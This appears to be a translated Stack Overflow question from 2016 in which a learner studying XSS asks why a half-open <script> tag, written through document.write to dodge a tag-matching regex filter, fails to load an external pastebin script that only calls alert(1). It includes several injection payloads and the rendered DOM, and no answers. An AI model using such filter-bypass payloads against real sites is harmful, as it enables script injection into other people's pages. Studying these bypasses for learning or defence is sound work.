为什么半开脚本标签不能正常工作?

时间:2016-05-31 03:20:43

标签: javascript html xss

我正在学习XSS,而我正在测试半开标签攻击网站,该网站仅检查<\/?[^>]+>(正确的标签正则表达式)......

HTML

<script>
    document.write('<article> <script src="http://pastebin.com/raw/WY3EPias"> <\/script> </article>')//alert 1
    document.write('<article> <script src="http://pastebin.com/raw/WY3EPias" </article>')// doesn't works
</script>

外部JS

http://pastebin.com/raw/WY3EPias: alert(1)

在我的Chrome中,页面src代码:

更正标记

<html>
<head>
    <script>
        document.write('<article> <script src="http://pastebin.com/raw/WY3EPias"> <\/script> </article>')
        //document.write('<article> <script src="http://pastebin.com/raw/WY3EPias" </article>')
    </script>
</head>
<body>
<article>
    <script src="http://pastebin.com/raw/WY3EPias"></script>
</article>
</body>
</html>

半开标签

<html>
<head>
    <script>
        //document.write('<article> <script src="http://pastebin.com/raw/WY3EPias"> <\/script> </article>')
        document.write('<article> <script src="http://pastebin.com/raw/WY3EPias" </article>')
    </script>
</head>
<body>
<article>
    <script src="http://pastebin.com/raw/WY3EPias" <="" article="">
    </script>
</article>
</body>
</html>

它们几乎相同,但有一些奇怪的属性,script标签在半开一个。但是,半开脚本标签并没有引用外部JS,当然也没有提醒。

那么,任何机构都可以解释为什么我的半开放脚本标签没有引用外部JS的原因吗?

PS:

我在我的Chrome中尝试了那个带有奇怪属性的html(script标签),它会发出警告......所以,我认为奇怪的属性在这种情况下并不重要。

<html>
<head>

</head>
<body>
<article>
    <script src="http://pastebin.com/raw/WY3EPias" <="" article="">
    </script>
</article>
</body>
</html>

0 个答案:

没有答案